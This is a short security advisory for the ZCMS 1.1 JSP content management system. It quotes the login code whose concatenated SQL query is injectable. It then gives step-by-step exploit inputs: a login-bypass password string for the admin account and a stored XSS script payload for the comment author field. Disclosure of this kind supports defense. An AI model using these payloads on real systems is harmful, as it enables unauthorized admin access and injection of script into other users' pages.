ZCMS 1.1 JavaServer Pages Content Management System

Advisory Information:
SQL Injection & Persistent XSS

Vulnerability Details:
SQL Injection:
Login to admin area requires a password but is easily bypassed using classic SQLInjection method because application uses concatenated user input to construct SQL queries.

ZCMS exploitable admin login code:
squerry="SELECT COUNT(username) AS usercount FROM "+TABLE_PREFIX+"users WHERE
status = 0 AND username = '"+username+"' AND password =
'"+request.getParameter("pass") +"' AND type = 1 ;";

So we just supply an Admin password like --->  HELL' OR '2'='2
which will resolve as true!

SQL Inject XSS Payload:
We can also inject persisten XSS payload directly to MySQL database subverting
all character filtering leveraging existing SQLInjection vulnerabilities.

Persistent XSS:

Another persistent XSS vector is here in author field for comments:
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page number]

Exploit code(s):

1) Bypass admin login
Enter 'admin' for username field
Enter HELL' OR '2'='2 for the pass field

2) Inject XSS using SQL Injection

3) Persistent XSS field
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page number]
Inject <script>alert(666)</script> in author input field.
